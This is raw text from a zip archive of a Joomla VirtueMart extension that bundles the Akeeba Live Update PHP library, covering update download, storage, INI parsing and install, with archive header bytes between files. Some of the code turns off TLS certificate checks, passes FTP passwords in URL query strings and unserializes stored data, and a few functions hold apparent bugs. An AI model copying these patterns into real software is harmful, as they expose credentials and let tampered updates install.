$bytes = 0; $result = true; $return = ''; while (!feof($ih) && $result) { $contents = fread($ih, 4096); if ($contents === false) { @fclose($ih); $result = false; return $result; } else { $bytes += strlen($contents); if(is_resource($fp)) { $result = @fwrite($fp, $contents); } else { $return .= $contents; unset($contents); } } } @fclose($ih); if(is_resource($fp)) { return $result; } elseif( $result === true ) { return $return; } else { return $result; } } /** * Detect and return available download adapters * @return array */ private static function getAdapters() { // Detect available adapters $adapters = array(); if(self::hasCURL()) $adapters[] = 'curl'; if(self::hasFOPEN()) $adapters[] = 'fopen'; return $adapters; } /** * Change the permissions of a file, optionally using FTP * @param string $file Absolute path to file * @param int $mode Permissions, e.g. 0755 */ private static function chmod($path, $mode) { if(is_string($mode)) { $mode = octdec($mode); if( ($mode < 0600) || ($mode > 0777) ) $mode = 0755; } // Initialize variables jimport('joomla.client.helper'); $ftpOptions = JClientHelper::getCredentials('ftp'); // Check to make sure the path valid and clean $path = JPath::clean($path); if ($ftpOptions['enabled'] == 1) { // Connect the FTP client jimport('joomla.client.ftp'); $ftp = &JFTP::getInstance( $ftpOptions['host'], $ftpOptions['port'], null, $ftpOptions['user'], $ftpOptions['pass'] ); } if(@chmod($path, $mode)) { $ret = true; } elseif ($ftpOptions['enabled'] == 1) { // Translate path and delete jimport('joomla.client.ftp'); $path = JPath::clean(str_replace(JPATH_ROOT, $ftpOptions['root'], $path), '/'); // FTP connector throws an error $ret = $ftp->chmod($path, $mode); } else { return false; } } }PKs>\  (com_virtuemart_allinone/classes/view.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.view'); /** * The Live Update MVC view */ class LiveUpdateView extends JView { public function display($tpl = null) { // Load the CSS $config = LiveUpdateConfig::getInstance(); $this->assign('config', $config); if(!$config->addMedia()) { // No custom CSS overrides were set; include our own $document = JFactory::getDocument(); $url = JURI::base().'/components/'.JRequest::getCmd('option','').'/liveupdate/assets/liveupdate.css'; $document->addStyleSheet($url, 'text/css'); } $requeryURL = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&force=1'; $this->assign('requeryURL', $requeryURL); $model = $this->getModel(); $extInfo = (object)$config->getExtensionInformation(); JToolBarHelper::title($extInfo->title.' – '.JText::_('LIVEUPDATE_TASK_OVERVIEW'),'liveupdate'); if(version_compare(JVERSION,'1.6.0','ge')) { $msg = 'JTOOLBAR_BACK'; } else { $msg = 'Back'; } JToolBarHelper::back($msg, 'index.php?option='.JRequest::getCmd('option','')); switch(JRequest::getCmd('task','default')) { case 'startupdate': $this->setLayout('startupdate'); $this->assign('url','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); break; case 'install': $this->setLayout('install'); // Get data from the model $state = &$this->get('State'); // Are there messages to display ? $showMessage = false; if ( is_object($state) ) { $message1 = $state->get('message'); $message2 = $state->get('extension.message'); $showMessage = ( $message1 || $message2 ); } $this->assign('showMessage', $showMessage); $this->assignRef('state', $state); break; case 'overview': default: $this->setLayout('overview'); $force = JRequest::getInt('force',0); $this->assign('updateInfo', LiveUpdate::getUpdateInformation($force)); $this->assign('runUpdateURL','index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=startupdate'); $needsAuth = !($config->getAuthorization()) && ($config->requiresAuthorization()); $this->assign('needsAuth', $needsAuth); break; } parent::display($tpl); } }PKs>\gE.com_virtuemart_allinone/classes/controller.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.controller'); /** * The Live Update MVC controller */ class LiveUpdateController extends JController { private $jversion = '15'; /** * Object contructor * @param array $config * * @return LiveUpdateController */ public function __construct($config = array()) { parent::__construct(); // Do we have Joomla! 1.6? if( version_compare( JVERSION, '1.6.0', 'ge' ) ) { $this->jversion = '16'; } $basePath = dirname(__FILE__); if($this->jversion == '15') { $this->_basePath = $basePath; } else { $this->basePath = $basePath; } $this->registerDefaultTask('overview'); } /** * Runs the overview page task */ public function overview() { $this->display(); } /** * Starts the update procedure. If the FTP credentials are required, it asks for them. */ public function startupdate() { $ftp = $this->setCredentialsFromRequest('ftp'); if($ftp === true) { // The user needs to supply the FTP credentials $this->display(); } else { // No FTP credentials required; proceed with the download $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=download'); $this->redirect(); } } /** * Download the update package */ public function download() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->download(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_DOWNLOAD_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Download successful. Let's extract the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=extract'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } $this->setRedirect($url); } $this->redirect(); } public function extract() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->extract(); if(!$result) { // Download failed $msg = JText::_('LIVEUPDATE_EXTRACT_FAILED'); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview', $msg, 'error'); } else { // Extract successful. Let's install the package. $url = 'index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=install'; $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if($user) { $url .= '&username='.urlencode($user).'&password='.urlencode($pass); } // Do we have SRP installed yet? $app = JFactory::getApplication(); $jResponse = $app->triggerEvent('onSRPEnabled'); $status = false; if(!empty($jResponse)) { $status = false; foreach($jResponse as $response) { $status = $status || $response; } } // SRP enabled, use it if($status) { $return = $url; $url = $model->getSRPURL($return); if(!$url) { $url = $return; } } $this->setRedirect($url); } $this->redirect(); } public function install() { $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $result = $model->install(); if(!$result) { // Installation failed $model->cleanup(); $this->setRedirect('index.php?option='.JRequest::getCmd('option','').'&view='.JRequest::getCmd('view','liveupdate').'&task=overview'); $this->redirect(); } else { // Installation successful. Show the installation message. if(version_compare(JVERSION,'1.6.0','ge')) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $this->display(); } } public function cleanup() { // Perform the cleanup $ftp = $this->setCredentialsFromRequest('ftp'); $model = $this->getThisModel(); $model->cleanup(); // Force reload update information $dummy = LiveUpdate::getUpdateInformation(true); die('OK'); } /** * Displays the current view * @param bool $cachable Ignored! */ public final function display($cachable = false) { $viewLayout = JRequest::getCmd( 'layout', 'default' ); $view = $this->getThisView(); // Get/Create the model $model = $this->getThisModel(); $view->setModel($model, true); // Assign the FTP credentials from the request, or return TRUE if they are required jimport('joomla.client.helper'); $ftp = $this->setCredentialsFromRequest('ftp'); $view->assignRef('ftp', $ftp); // Set the layout $view->setLayout($viewLayout); // Display the view $view->display(); } public final function getThisView() { static $view = null; if(is_null($view)) { $basePath = ($this->jversion == '15') ? $this->_basePath : $this->basePath; $tPath = dirname(__FILE__).'/tmpl'; require_once('view.php'); $view = new LiveUpdateView(array('base_path'=>$basePath, 'template_path'=>$tPath)); } return $view; } public final function getThisModel() { static $model = null; if(is_null($model)) { require_once('model.php'); $model = new LiveUpdateModel(); $task = ($this->jversion == '15') ? $this->_task : $this->task; $model->setState( 'task', $task ); $app = JFactory::getApplication(); $menu = $app->getMenu(); if (is_object( $menu )) { if ($item = $menu->getActive()) { $params =& $menu->getParams($item->id); // Set Default State Data $model->setState( 'parameters.menu', $params ); } } } return $model; } private function setCredentialsFromRequest($client) { // Determine wether FTP credentials have been passed along with the current request jimport('joomla.client.helper'); $user = JRequest::getString('username', null, 'GET', JREQUEST_ALLOWRAW); $pass = JRequest::getString('password', null, 'GET', JREQUEST_ALLOWRAW); if ($user != '' && $pass != '') { // Add credentials to the session if (JClientHelper::setCredentials($client, $user, $pass)) { $return = false; } else { $return =& JError::raiseWarning('SOME_ERROR_CODE', 'JClientHelper::setCredentialsFromRequest failed'); } } else { // Just determine if the FTP input fields need to be shown $return = !JClientHelper::hasCredentials('ftp'); } return $return; } }PKs>\+dLL0com_virtuemart_allinone/classes/storage/file.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update File Storage Class * Allows to store the update data to files on disk. Its configuration options are: * path string The absolute path to the directory where the update data will be stored as INI files * */ class LiveUpdateStorageFile extends LiveUpdateStorage { private static $filename = null; public function load($config) { $path = $config['path']; $extname = $config['extensionName']; $filename = "$path/$extname.updates.ini"; self::$filename = $filename; jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); jimport('joomla.filesystem.file'); if(JFile::exists(self::$filename)) { self::$registry->loadFile(self::$filename, 'INI'); } } public function save() { jimport('joomla.filesystem.file'); $data = self::$registry->toString('INI'); JFile::write(self::$filename, $data); } } PKs>\://2com_virtuemart_allinone/classes/storage/index.htmlnuW+A PKs>\)1com_virtuemart_allinone/classes/storage/.htaccessnuW+A Order allow,deny Deny from all PKs>\? 5com_virtuemart_allinone/classes/storage/component.phpnuW+A */ defined('_JEXEC') or die(); /** * Live Update Component Storage Class * Allows to store the update data to a component's parameters. This is the most reliable method. * Its configuration options are: * component string The name of the component which will store our data. If not specified the extension name will be used. * key string The name of the component parameter where the serialized data will be stored. If not specified "liveupdate" will be used. */ class LiveUpdateStorageComponent extends LiveUpdateStorage { private static $component = null; private static $key = null; public function load($config) { if(!array_key_exists('component', $config)) { self::$component = $config['extensionName']; } else { self::$component = $config['component']; } if(!array_key_exists('key', $config)) { self::$key = 'liveupdate'; } else { self::$key = $config['key']; } jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); if(!($component->params instanceof JRegistry)) { $params = new JParameter($component->params); } else { $params = $component->params; } $data = $params->getValue(self::$key, ''); jimport('joomla.registry.registry'); self::$registry = new JRegistry('update'); self::$registry->loadINI($data); } public function save() { $data = self::$registry->toString('INI'); $db =JFactory::getDBO(); // An interesting discovery: if your component is manually updating its // component parameters before Live Update is called, then calling Live // Update will reset the modified component parameters because // JComponentHelper::getComponent() returns the old, cached version of // them. So, we have to forget the following code and shoot ourselves in // the feet. Dammit!!! /* jimport('joomla.html.parameter'); jimport('joomla.application.component.helper'); $component =& JComponentHelper::getComponent(self::$component); $params = new JParameter($component->params); $params->setValue(self::$key, $data); */ if( version_compare(JVERSION,'1.6.0','ge') ) { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__extensions'). ' WHERE '.$db->nameQuote('type').' = '.$db->Quote('component').' AND '. $db->nameQuote('element').' = '.$db->Quote(self::$component); $db->setQuery($sql); } else { $sql = 'SELECT '.$db->nameQuote('params').' FROM '.$db->nameQuote('#__components'). ' WHERE '.$db->nameQuote('option').' = '.$db->Quote(self::$component). " AND `parent` = 0 AND `menuid` = 0"; $db->setQuery($sql); } $rawparams = $db->loadResult(); $params = new JParameter($rawparams); $params->setValue(self::$key, $data); if( version_compare(JVERSION,'1.6.0','ge') ) { // Joomla! 1.6 $data = $params->toString('JSON'); $sql = 'UPDATE `#__extensions` SET `params` = '.$db->Quote($data).' WHERE '. "`element` = ".$db->Quote(self::$component)." AND `type` = 'component'"; } else { // Joomla! 1.5 $data = $params->toString('INI'); $sql = 'UPDATE `#__components` SET `params` = '.$db->Quote($data).' WHERE '. "`option` = ".$db->Quote(self::$component)." AND `parent` = 0 AND `menuid` = 0"; } $db->setQuery($sql); $db->query(); } } PKs>\ǘ[773com_virtuemart_allinone/classes/storage/storage.phpnuW+A */ defined('_JEXEC') or die(); /** * Abstract class for the update parameters storage * @author nicholas * */ class LiveUpdateStorage { /** * The update data registry * @var JRegistry */ public static $registry = null; /** * * @param string $type * @param array $config * @return LiveUpdateStorage */ public static function getInstance($type, $config) { static $instances = array(); $sig = md5($type, serialize($config)); if(!array_key_exists($sig, $instances)) { require_once dirname(__FILE__).'/'.strtolower($type).'.php'; $className = 'LiveUpdateStorage'.ucfirst($type); $object = new $className($config); $object->load($config); $newRegistry = clone(self::$registry); $object->setRegistry($newRegistry); $instances[$sig] = $object; } return $instances[$sig]; } public function &getRegistry() { return self::$registry; } public function setRegistry($registry) { self::$registry = $registry; } public final function set($key, $value) { if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_encode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = base64_encode(serialize($value)); } else { $value = serialize($value); } } self::$registry->setValue("update.$key", $value); } public final function get($key, $default) { $value = self::$registry->getValue("update.$key", $default); if($key == 'updatedata') { if(function_exists('json_encode') && function_exists('json_decode')) { $value = json_decode($value); } elseif(function_exists('base64_encode') && function_exists('base64_decode')) { $value = unserialize(base64_decode($value)); } else { $value = unserialize($value); } } return $value; } public function save() {} public function load($config) {} }PKs>\8\-com_virtuemart_allinone/classes/inihelper.phpnuW+A */ defined('_JEXEC') or die(); /** * A smart INI file parser with reproducible behaviour among different PHP versions */ class LiveUpdateINIHelper { /** * Parse an INI file and return an associative array. Since PHP versions before * 5.1 are bitches with regards to INI parsing, I use a PHP-only solution to * overcome this obstacle. * @param string $file The file to process * @param bool $process_sections True to also process INI sections * @return array An associative array of sections, keys and values */ public static function parse_ini_file( $file, $process_sections, $rawdata = false ) { if($rawdata) { return self::parse_ini_file_php($file, $process_sections, $rawdata); } else { if( version_compare(PHP_VERSION, '5.1.0', '>=') && (!$rawdata) ) { if( function_exists('parse_ini_file') ) { return parse_ini_file($file, $process_sections); } else { return self::parse_ini_file_php($file, $process_sections); } } else { return self::parse_ini_file_php($file, $process_sections, $rawdata); } } } /** * A PHP based INI file parser. * Thanks to asohn ~at~ aircanopy ~dot~ net for posting this handy function on * the parse_ini_file page on http://gr.php.net/parse_ini_file * @param string $file Filename to process * @param bool $process_sections True to also process INI sections * @param bool $rawdata If true, the $file contains raw INI data, not a filename * @return array An associative array of sections, keys and values */ static function parse_ini_file_php($file, $process_sections = false, $rawdata = false) { $process_sections = ($process_sections !== true) ? false : true; if(!$rawdata) { $ini = file($file); } else { $file = str_replace("\r","",$file); $ini = explode("\n", $file); } if (count($ini) == 0) {return array();} $sections = array(); $values = array(); $result = array(); $globals = array(); $i = 0; foreach ($ini as $line) { $line = trim($line); $line = str_replace("\t", " ", $line); // Comments if (!preg_match('/^[a-zA-Z0-9[]/', $line)) {continue;} // Sections if ($line{0} == '[') { $tmp = explode(']', $line); $sections[] = trim(substr($tmp[0], 1)); $i++; continue; } // Key-value pair list($key, $value) = explode('=', $line, 2); $key = trim($key); $value = trim($value); if (strstr($value, ";")) { $tmp = explode(';', $value); if (count($tmp) == 2) { if ((($value{0} != '"') && ($value{0} != "'")) || preg_match('/^".*"\s*;/', $value) || preg_match('/^".*;[^"]*$/', $value) || preg_match("/^'.*'\s*;/", $value) || preg_match("/^'.*;[^']*$/", $value) ){ $value = $tmp[0]; } } else { if ($value{0} == '"') { $value = preg_replace('/^"(.*)".*/', '$1', $value); } elseif ($value{0} == "'") { $value = preg_replace("/^'(.*)'.*/", '$1', $value); } else { $value = $tmp[0]; } } } $value = trim($value); $value = trim($value, "'\""); if ($i == 0) { if (substr($line, -1, 2) == '[]') { $globals[$key][] = $value; } else { $globals[$key] = $value; } } else { if (substr($line, -1, 2) == '[]') { $values[$i-1][$key][] = $value; } else { $values[$i-1][$key] = $value; } } } for($j = 0; $j < $i; $j++) { if ($process_sections === true) { if( isset($sections[$j]) && isset($values[$j]) ) $result[$sections[$j]] = $values[$j]; } else { if( isset($values[$j]) ) $result[] = $values[$j]; } } return $result + $globals; } }PKs>\?$$/com_virtuemart_allinone/classes/updatefetch.phpnuW+A */ defined('_JEXEC') or die(); /** * Fetches the update information from the server or the cache, depending on * whether the cache is fresh or not. */ class LiveUpdateFetch extends JObject { private $cacheTTL = 24; private $storage = null; /** * One-stop-shop function which fetches update information and tells you * if there are updates available or not, or if updates are not supported. * * @return int 0 = no updates, 1 = updates available, -1 = updates not supported, -2 = fetching updates crashes the server */ public function hasUpdates() { $updateInfo = $this->getUpdateInformation(); if($updateInfo->stuck) return -2; if(!$updateInfo->supported) return -1; $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); // Filter by stability level $minStability = $config->getMinimumStability(); $stability = strtolower($updateInfo->stability); switch($minStability) { case 'alpha': default: // Reports any stability level as an available update break; case 'beta': // Do not report alphas as available updates if(in_array($stability, array('alpha'))) return 0; break; case 'rc': // Do not report alphas and betas as available updates if(in_array($stability, array('alpha','beta'))) return 0; break; case 'stable': // Do not report alphas, betas and rcs as available updates if(in_array($stability, array('alpha','beta','rc'))) return 0; break; } // Use the version strategy to determine the availability of an update switch($config->getVersionStrategy()) { case 'newest': jimport('joomla.utilities.date'); if(empty($extInfo)) { $mine = new JDate('2000-01-01 00:00:00'); } else { $mine = new JDate($extInfo['date']); } $theirs = new JDate($updateInfo->date); return ($theirs->toUnix() > $mine->toUnix()) ? 1 : 0; break; case 'vcompare': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return (version_compare($theirs, $mine, 'gt')) ? 1 : 0; break; case 'different': $mine = $extInfo['version']; if(empty($mine)) $mine = '0.0.0'; $theirs = $updateInfo->version; if(empty($theirs)) $theirs = '0.0.0'; return ($theirs != $mine) ? 1 : 0; break; } } /** * Get the latest version (update) information, either from the cache or * from the update server. * * @param $force bool Set to true to force fetching fresh data from the server * * @return stdClass The update information, in object format */ public function getUpdateInformation($force = false) { // Get the Live Update configuration $config = LiveUpdateConfig::getInstance(); // Get an instance of the storage class $storageOptions = $config->getStorageAdapterPreferences(); require_once dirname(__FILE__).'/storage/storage.php'; $this->storage = LiveUpdateStorage::getInstance($storageOptions['adapter'], $storageOptions['config']); $storage = $this->storage; // Fetch information from the cache if(version_compare(JVERSION, '1.6.0', 'ge')) { $registry = $storage->getRegistry(); $lastCheck = $registry->get('lastcheck', 0); $cachedData = $registry->get('updatedata', null); } else { $lastCheck = $storage->get('lastcheck', 0); $cachedData = $storage->get('updatedata', null); } if(is_string($cachedData)) { $cachedData = trim($cachedData,'"'); $cachedData = json_decode($cachedData); } if(empty($cachedData)) { $lastCheck = 0; } // Check if the cache is at most $cacheTTL hours old $now = time(); $maxDifference = $this->cacheTTL * 3600; $difference = abs($now - $lastCheck); if(!($force) && ($difference <= $maxDifference)) { // The cache is fresh enough; return cached data return $cachedData; } else { // The cache is stale; fetch new data, cache it and return it to the caller $data = $this->getUpdateData($force); $this->storage->set('lastcheck', $now); $this->storage->set('updatedata', json_encode($data)); $this->storage->save(); return $data; } } /** * Retrieves the update data from the server, unless previous runs indicate * that the download process gets stuck and ends up in a WSOD. * * @param bool $force Set to true to force fetching new data no matter if the process is marked as stuck * @return stdClass */ private function getUpdateData($force = false) { $ret = array( 'supported' => false, 'stuck' => true, 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // If the process is marked as "stuck", we won't bother fetching data again; well, // unless you really force me to, by setting $force = true. if($this->storage->get('stuck',0) && !$force) return (object)$ret; $ret['stuck'] = false; require_once dirname(__FILE__).'/download.php'; // First we mark Live Updates as getting stuck. This way, if fetching the update // fails with a server error, reloading the page will not result to a White Screen // of Death again. Hey, Joomla! core team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($urls); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); $ret['version'] = $iniData['version']; $ret['date'] = $iniData['date']; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; return $ret; } }PKs>\Ը!!)com_virtuemart_allinone/classes/model.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.model'); /** * The Live Update MVC model */ class LiveUpdateModel extends JModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg =JFactory::getConfig(); $tmpdir = $jreg->getValue('config.tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.DS.'tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.DS.'tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.DS.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.DS.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer =& JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); if(version_compare(JVERSION,'1.6.0','ge')) { $this->setState('extmessage', $installer->get('extension_message')); } else { $this->setState('extmessage', $installer->get('extension.message')); } } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) return false; require_once JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($type) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } }PKs>\://*com_virtuemart_allinone/classes/index.htmlnuW+A PKs>\).com_virtuemart_allinone/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\.0com_virtuemart_allinone/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = &$this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>

      Powered by Akeeba Live Update

      PKs>\:///com_virtuemart_allinone/classes/tmpl/index.htmlnuW+A PKs>\# 1com_virtuemart_allinone/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); ?>
      updateInfo->supported): ?>

      escape($this->updateInfo->extInfo->updateurl) ?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->stuck):?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

      updateInfo->extInfo->version ?>
      updateInfo->version ?>
      updateInfo->date ?>

      updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

      Powered by Akeeba Live Update

      PKs>\5FYY4com_virtuemart_allinone/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

      Powered by Akeeba Live Update

      PKs>\ g,,,com_virtuemart_allinone/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = 